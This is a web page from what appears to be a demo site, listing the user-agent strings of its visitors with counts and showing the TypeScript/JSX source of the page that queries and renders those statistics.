Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0 Safari/537.361
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/123.0 Safari/537.361
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/111.0 Safari/537.361
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/112.0 Safari/537.361
DARPResearchBot1
Mozilla/5.0 (compatible; GoParserBot/1.0)1
Client/56579 CFNetwork/3826.500.131 Darwin/24.5.01
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +https://www.google.com/bot.html) Safari/537.361
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GoogleOther) Chrome/137.0.7151.119 Safari/537.361
Mozilla/5.0 (X11; U; NetBSD alpha; en-US; rv:1.8.1.6) Gecko/20080115 Firefox/2.0.0.61
??? http://www.ymwears.cn ???1
node-fetch/1.0 (+https://github.com/bitinn/node-fetch)1
Observer/1.0 (+https://obsrvr.net/about; crawler@obsrvr.net)1
Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.71
Iframely/1.3.1 (+https://iframely.com/docs/about) Notion1
Source Code of user-agents.tsx
(import statements omitted for simplicity, click to expand)
import { proxy } from '../../../db/proxy.js'
import {
  getOtherUserAgents,
  getUAStatsProgress,
} from '../../../db/user-agent.js'
import { Locale, Title } from '../components/locale.js'
import SourceCode from '../components/source-code.js'
import Style from '../components/style.js'
import { o } from '../jsx/jsx.js'
import { Routes } from '../routes.js'
function agentTable(title: string, rows: [name: string, count: number][]) {
  if (rows.length === 0) return
  rows.sort((a, b) => b[1] - a[1])
  return (
    <table>
      <thead>
        <tr>
          <th>{title}</th>
          <th>Count</th>
        </tr>
      </thead>
      <tbody>
        {[
          rows.map(([name, count]) => (
            <tr>
              <td>{name}</td>
              <td>{count}</td>
            </tr>
          )),
        ]}
      </tbody>
    </table>
  )
}

function Tables() {
  return (
    <>
      <p>{getUAStatsProgress()}</p>
      {agentTable(
        'User Agent',
        proxy.ua_type.map(row => [row.name, row.count]),
      )}
      {agentTable(
        'Bot Agent',
        proxy.ua_bot.map(row => [row.name, row.count]),
      )}
      {agentTable(
        'Other Agent',
        getOtherUserAgents().map(row => [row.user_agent, row.count]),
      )}
    </>
  )
}

let UserAgents = (
  <div id="user-agents">
    <h1>User Agents of Visitors</h1>
    {Style(/* css */ `
#user-agents table {
  border-collapse: collapse;
  margin: 1rem;
  display: inline;
}
#user-agents th,
#user-agents td {
  border: 1px solid var(--text-color, black);
  padding: 0.25rem 0.5rem;
  max-width: calc(90vw - 8rem);
  word-break: break-word;
}
`)}
    <p>This page demonstrates showing query result from database.</p>
    <p>
      Below list of user agents are collected from the visitor's HTTP header.
    </p>
    <Tables />
    <SourceCode page="user-agents.tsx" />
  </div>
)

let routes = {
  '/user-agents': {
    menuText: <Locale en="Visitor Stats" zh_hk="訪客統計" zh_cn="访客统计" />,
    title: (
      <Title
        t={
          <Locale
            en="User Agents of Visitors"
            zh_hk="訪客的用戶代理"
            zh_cn="访客的用戶代理"
          />
        }
      />
    ),
    description: (
      <Locale
        en="User agents of this site's visitors"
        zh_hk="此網站訪客的用戶代理資訊"
        zh_cn="此网站访客的用户代理资讯"
      />
    ),
    node: UserAgents,
  },
} satisfies Routes

export default { routes }